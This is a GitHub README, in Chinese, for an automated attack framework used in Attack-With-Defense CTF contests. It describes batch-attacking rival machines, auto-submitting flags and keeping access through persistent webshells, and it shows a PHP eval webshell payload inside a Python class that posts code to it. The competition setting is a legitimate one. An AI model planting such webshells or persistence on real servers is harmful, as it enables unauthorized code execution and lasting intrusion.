Skip to content

AWD framework自动攻击框架 ,实现了批量攻击、提交flag、维持权限等功能。

Notifications You must be signed in to change notification settings

popscat/taotie_awd_framework

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

饕餮 AWD Framework

Enable you capture more flag!

Function

  • 自动攻击其他靶机
  • 自动维持权限
  • 自动提交flag

实现方面

框架首先加载配置文件,然后启动四个线程,自动完成加载攻击方法、提交flag、执行攻击方法、维持权限等功能。 攻击函数会根据题目数量创建对应数量的线程,实现并发,攻击方法则由用户比赛时拓展,框架将自动加载新的方法并进行攻击。 提交flag函数从一个消息队列中读取并提交,与攻击流程分离,不干扰攻击流程。 维持权限主要通过写不死马的形式实现。

框架抽象出两个类,分别为webshell类和攻击方法exp类。

WebShell类

webshell类抽象了webshell的使用,定义了两类webshell的基类(执行系统命令的webshell和执行php代码的webshell),基类实现了写文件、查看状态、获取flag等方法。

class EvalShellBase():
    def getflag(self):
        ...
    def write(self,path,content):
        ...
    def status(self):
        ..
class SystemShellBase():
  #同上

而具体的webshell基类需要用实现如下内容。

class Shell4(EvalShellBase):
    CONTENT = '<?php eval($_POST[1]);?>'   #webshell的代码
    def __init__(self,url):    #webshell的构造方法,根据需要来初始化webshell的url、method、password等参数
        self.url = url
    def run(self,code):        #使用webshell执行命令的抽象,输入系统命令或者php代码,返回执行结果。
        return request.post(url=self.url+'?pops=www.nwpu.edu.cn',data={"1":code}).text

目前框架实现了四个webshell:

  • shell1 使用rsa验证时间戳,可以有效防止别人上车,需要靶机环境开启openssl拓展。(推荐)
  • shell2 使用md5验证身份,容易被上车。
  • shell3 shell4最简单的eval和system webshell

Exploit类

exp类由使用者在比赛中拓展,实现attack方法。该方法输入参数为靶机的ip:port,输出参数为webshell(使用框架内置的webshell类)或flag。 attack方法内需要用户完成getshell或getflag两者之一,比如通过任意文件上传写shell或通过任意文件读读取flag等等。 将实现类文件放入attack/题目名称/文件夹内即可自动加载。

Usage

pip install -r requirements.txt     #安装拓展
vim lib/config.py                   #根据比赛环境修改配置
python3 main.py                     #启动框架
cp /home/attack1.py ./attack/web1/  #添加攻击类

另外由于作者技术有限,程序难免有很多bug,还请诸位给予包容。

About

AWD framework自动攻击框架 ,实现了批量攻击、提交flag、维持权限等功能。

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages